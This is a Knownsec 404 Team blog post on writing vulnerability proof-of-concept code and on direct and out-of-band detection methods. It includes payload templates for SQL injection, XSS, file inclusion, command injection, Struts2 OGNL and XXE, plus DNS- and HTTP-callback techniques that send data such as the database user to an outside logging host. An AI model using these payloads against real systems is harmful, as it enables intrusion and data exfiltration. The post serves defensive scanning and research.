Author:RickGray@Knownsec 404 Team
Chinese Version:

Now there is a phenomenon that once a PoC with a high-risk vulnerability is detected or an EXP is released, there will be a large group of people trying to verify it, and so do I.

In this interlocking vulnerability emergency life cycle: from the disclosure of vulnerabilities to researchers’ analysis and verification, to PoC writing, and then to large-scale scanning and testing, I think the most critical part should be regarded as PoC writing and vulnerability detection:

  • PoC Writing - Reproduce the vulnerability environment and recur the vulnerability in the process of coding.
  • Vulnerability Detection – By using the finished PoC to verify whether the test target has a vulnerability. It is important to note that this process (or when writing a PoC) needs to be safe, effective, and harmless, and avoid unrecoverable impact on the host computer in the scanning process as much as possible.

PoC writing, in my opinion, is the most basic work of security researchers or vulnerability analysts. The programmer describes the process of vulnerability verification and analysis by code, and writes the corresponding PoC according to different types of vulnerabilities. Based on the accumulated experience of writing PoC, the criteria are summarized as follows:

  • Randomness
  • Certainty
  • Versatility

PoC Writing Guidelines & Examples

1. Randomness

The key variables or data involved in PoC should be random. Don’t use a fixed variable value to generate Payload and produce randomly as much as possible, such as the file name of uploaded file, webshell password, string of Alert, the value of MD5 and so on. What has been widely used in examples is pocsuite PoC framework.

The code shown above is a key part of the validation code for arbitrary file upload vulnerability caused by a topic in WordPress, in which "kstest.php" is used as the name of upload file each time. It’s obvious that the fixed file name violates the principle of randomness mentioned above. I don’t mean that there is something wrong with using fixed variables or data in PoC, instead, being able to randomize data can reduce the risks involved in the process of scanning and testing.

According to the principle of randomness, the code can be modified as follows:

The modified name of the uploaded file is a randomly generated 6-bit character each time, which I think that to some extent, the possibility of scanning detection interaction data being tracked is reduced.

2. Certainty

By means of the returned contents after the test, PoC can find a unique identifier to indicate whether the vulnerability exists, and this identification needs to be targeted. Don’t use too ambiguous conditions to determine such as return status of HTTP request, the controllable content of fixed page. It can be illustrated by the following examples:

What’s shown above is a vulnerability verification code which is injected with a "UNION" type SQL for a Web application. The code is directly injected by writing -1' union select 1,md5(1) –. Because there is data echo in this vulnerability, and if the test is successfully injected, the value of md5(1) will be printed on the page with c4ca4238a0b923820dcc509a6f75849b. This PoC doesn't seem to have any problems, but combined with the principle of Randomness, it would be better to use md5(rand_num) as the identifier, because the accuracy is higher after randomization.

It's not a joke here. In case there is no vulnerability in a certain site, there is c4ca4238a0b923820dcc509a6f75849b on the page.

Speaking of this, let's discuss problems that the users of Python "requests" library might neglect. Sometimes, when we get a request to return an object, we will make a pre-judgment like the following code:

Some people may say that the conditional judgment in Python is either null or true, but is this the real case? After practicing and testing, the conditional judgment of the "Response" object is determined by the returning status code via HTTP. When the status code range is between "[400, 600]", the conditional judgment returns "False".

The reason why I mention this point is that sometimes when we test the vulnerability or send Payload, the target may return "500" because of the back-end processing logic error. However, at this time, there is already a vulnerability in the page. If you have previously made a conditional judgment on the "Response" object by the way mentioned before, it will result in underreporting.

3. Versatility

The Payload or the included detection code used in PoC should balance with both environment and platform. If you can construct a generic Payload, never use a single target detection code. Don't just consider the environment in which the vulnerability is reproduced such as path form contained in the file and the executed command. The following image is about an arbitrary file download vulnerability caused by a plugin in WordPress:

Simply to say, the logic above is to read contents of /etc/passwd file through the arbitrary file download vulnerability and determine whether the returned file contains key strings or identifiers. Obviously, this Payload only works in the *nix environment and does not work on Windows platforms. The better approach is to find a mark that reflects the existence of the vulnerability based on the environment of the vulnerability application. Here, we can make a judgment by using configuration file wp-config.php in WordPress (maybe the final way of judgment is not very perfect):

With this change, Payload has taken multiple platform environments into account and become more universal.

Vulnerability Detection Methods & Examples

In my opinion, according to the characteristics and forms of Web vulnerabilities, the methods of vulnerability detection can be divided into two categories: direct judgment and indirect judgment.

  • Direct judgment: By sending a request with Payload, it is possible to directly match the corresponding status from the returned content.
  • Indirect judgment: It cannot judge directly by the returned content, and it needs to use other tools to indirectly reflect the trigger of vulnerability.

1. Direct judgment

i. SQLi(with echo)

For SQL injection with echo, the detection method is fixed and you can just follow the principles of “randomness” and “certainty”.

Error Based SQL Injection

payload: "... updatexml(1,concat(":",rand_str1,rand_str2),1) ..."
condition: (rand_str1 + rand_str2) in response.content

For error injection, the Payload constructed with randomness can identify vulnerabilities more stably and accurately, while fixed strings will cause mistakes due to some rare events. Simply to say, Payload contains random data with predictable results. You only need to verify whether the predictable result exists or not.

UNION SQL Injection

payload1: "... union select md5(rand_num) ..."
condition1: md5(rand_num) in response.content

payload2: "... union select concat(rand_str1, rand_str2) ..."
condition2: (rand_str1 + rand_str2) in response.content

It’s very easy to understand md5(rand_num). MySQL has its own function. When Payload executes successfully, it has a hash value of md5(rand_num) on the page because of the echo. Due to the randomness of Payload, the error rate is low.

ii. XSS(with echo)

payload: "... var _=rand_str1+rand_str2;confirm(_); ..."
condition: (rand_str1 + rand_str2) in response.content

Because I haven’t studied the XSS in depth, try to sense the meaning by your own imagination.

iii. Local File Inclusion/Arbitrary File Download(with echo)

What is the biggest difference between local file inclusion and arbitrary file download? A local file inclusion can not only obtain the file content but also dynamically include the execution code of script file, while arbitrary file download can only get the file content and cannot execute the code.

Therefore, when testing for such vulnerabilities, you need to find a fixed file relevant to the web application as a test vector when performing file inclusion or download testing:

payload: "... ?file=../../../fixed_file ..."
condition: (content_flag_in_fixed_file) in response.content

For example, under the application path of WordPress, the ./wp-config.php file is the default configuration file, and usually the special string identifier require_once(ABSPATH . 'wp-settings.php'); will not be changed. When scanning a file, you only need to try to download ./wp-config.php file and check whether the content contains a feature string to determine whether there is a vulnerability.

iv. Remote Code/Command Execution(with echo)

Both remote code and command execution are about performing, and the usual practice to do the harmless scanning is to print a random string, or run the feature function, and then check whether the returned page exists a featured identifier to confirm the vulnerability.

payload: "... echo md5(rand_num); ..."
condition: (content_flag) in response.content

Of course, performing what kind of feature commands needs to combine with the specific vulnerability environment.

v. SSTI/ELI(with echo)

Compared with traditional SQLi and XSS, template injection and expression language injection should be regarded as problems in the process of open framework and integration. When the template content is controllable, various traditional Web vulnerabilities appear. XSS and command execution can be done through template injection or expression language injection. The Struts2 vulnerability was once popular, which I think can be classified into this type of vulnerability. Usually the detection only needs to construct the expression corresponding to the relevant template language, and the existing injection expression will be executed and return the content:

payload1: "... param=%(rand_num1 + rand_num2) ..."
condition1: (rand_num1 + rand_num2) in response.content

payload2: "... param=%(rand_num1 * rand_num2) ..."
condition2: (rand_num1 * rand_num2) in response.content

payload3: "... #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close() .."
condition3: (rand_str1+ rand_str2) in response.content

Vi. Hash File

Sometimes the vulnerability is only related to a single file, such as a vulnerability caused by Flash or JavaScript. At this time, you can use Hash File to detect the vulnerability directly. When performing scanning detection, you firstly need to download the corresponding file for a given path and then calculate the hash and compare all the hash files with the statistics. If the match succeeds, the vulnerability exists:

payload: ""
condition: hash(vul_swf_file.swf) == hash_recorded

The above are examples of "direct judgment" in the Web vulnerability detection method.

2. Indirect judgement

There was once a time that I was overwhelmed because I couldn’t scan or detect and there was no echo. At the beginning, I learned to use backhaul to judge. Later, I got python -m SimpleHTTPServer as a simple real-time HTTP Server to function as the connection monitoring, and then I got the paper "Data Retrieval over DNS in SQL Injection Attacks". Although the technical point of the article is to obtain blindly injected data of SQL through DNS query, the "Data Retrieval over DNS" technology can be applied to most vulnerabilities that cannot echo, and some public platforms come into being for security research enthusiasts, such as cloudeye, DNSLog of Bugscan, and the CEYE.IO platform I rewrote.

The technical principle of "Data Retrieval over DNS" is very simple. Firstly, there needs to be a domain name that can be configured, such as; then set the nameserver of as your own Server A through the agent; next configure DNS Server on Server A, so that all queries for and its subdomains will go to Server A, and the domain query request can be monitored timely, as is shown below: Look directly at the examples (all backend platform uses CEYE.IO), if you still don’t know how to use.

i. XSS (no echo)

It’s very common to use Blind XSS in security testing. "See the box and think about X" is also the belief of every XSSer:

payload: "... ><img src= ..."
condition: { LOG} in HTTP requests LOGs

Through blind attack, the trigger browser accesses the preset link address. If the blind attack is successful, the following link access record will be received on the platform:

ii. SQLi(no echo)

It is very common to have no echo in SQL injection, but with the "Data Retrieval over DNS" technology, everything becomes simple, provided the target environment meets the requirements. The article "HawkEye Log/Dns in Sql Injection" provides Payloads in some common databases that use this technology.

payload: "... load_file(concat('\\\\',user(),'\\blindsqli'))
condition: {* LOG} in DNS queries LOGs

As long as the target system environment meets the requirements and the injection command is executed, the pre-configured domain name will be parsed, and the returned data can be obtained through the monitoring platform.

iii. SSRF(no echo)

According to the above two examples, you must know its operation.

payload: "... <!ENTITY test SYSTEM ""> ..."
condition: { LOG} in HTTP requests LOGs

iv. RCE(no echo)

In the nix system environment, the curl command or the wget command is generally used, while the windows system environment does not have such a convenient command to directly access a link. I used to use the ftp command and file downloads in PowerShell to access the log server. Now there has been a more common practice which take both nix and Windows into consideration, which is ping command. When “ping” a domain name, it will perform a recursive DNS query process. At this time, the DNS query request can be obtained at the back end. When the command is actually executed and the platform receives the echo, the vulnerability exists.

payload: "... | ping ..."
condition: { LOG} in DNS queries LOGs

More non-echo Payloads can be viewed at

Examples of Emergence Practice

Let’s take scanning test for example
Java deserialization (usual case: ftp/ping)

Let's firstly talk about the Java deserialization vulnerability that broke out at the end of 2015, which can be regarded as the most common Web vulnerability at that time. I remember when the emergency scan was performed, WebLogic did not get the PoC back. It used the connection method to judge while scanning and detecting. Because the target to be tested contains *nix and windows environment, it wrote two different Payloads. The generation part of the scan code is as follows:

i. *nix

The real log contents at that time:

It can be seen that I uniquely identify the IP address and port of each test by linking parameters when constructing Payload, so that when checking the access log, we can determine which test target the record came from (because of the entry IP and exit IP may be inconsistent). At the same time, it is convenient to perform target confirmation and log processing when performing batch scan.

ii. windows

The real log contents at that time:

Because ftp command on Windows cannot carry the same mark like parameter, it is not easy to confirm the target by observing the FTP Server connection log due to the fact that sometimes entry IP and exit IP may be inconsistent.

The above PoC and log screenshots were all left in the emergency last year. Combined with the current knowledge, I realize that using the generic Payload "ping" and the "Data Retrieval over DNS" technology to collect log information is more convenient to detect and scan. So recently, I changed Payload combined with the CEYE.IO platform to test the impact situation of WebLogic deserialization vulnerability.

Adding a random string as part of a subdomain is to prevent problems caused by local DNS caching when detecting for multiple times. (The system usually caches DNS records. After the same domain name is firstly resolved through the network, the local cache is usually used directly instead of initiating the query request for the second time). The corresponding platform records are as follows, and it’s very useful to have such a platform by the way.

Welcome to talk about more with me related to scan detection.

About Knownsec & 404 Team

Beijing Knownsec Information Technology Co., Ltd. was established by a group of high-profile international security experts. It has over a hundred frontier security talents nationwide as the core security research team to provide long-term internationally advanced network security solutions for the government and enterprises.

Knownsec's specialties include network attack and defense integrated technologies and product R&D under new situations. It provides visualization solutions that meet the world-class security technology standards and enhances the security monitoring, alarm and defense abilities of customer networks with its industry-leading capabilities in cloud computing and big data processing. The company's technical strength is strongly recognized by the State Ministry of Public Security, the Central Government Procurement Center, the Ministry of Industry and Information Technology (MIIT), China National Vulnerability Database of Information Security (CNNVD), the Central Bank, the Hong Kong Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.

404 Team, the core security team of Knownsec, is dedicated to the research of security vulnerability and offensive and defensive technology in the fields of Web, IoT, industrial control, blockchain, etc. 404 team has submitted vulnerability research to many well-known vendors such as Microsoft, Apple, Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the industry.

The most well-known sharing of Knownsec 404 Team includes: KCon Hacking Conference, Seebug Vulnerability Database and ZoomEye Cyberspace Search Engine.

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: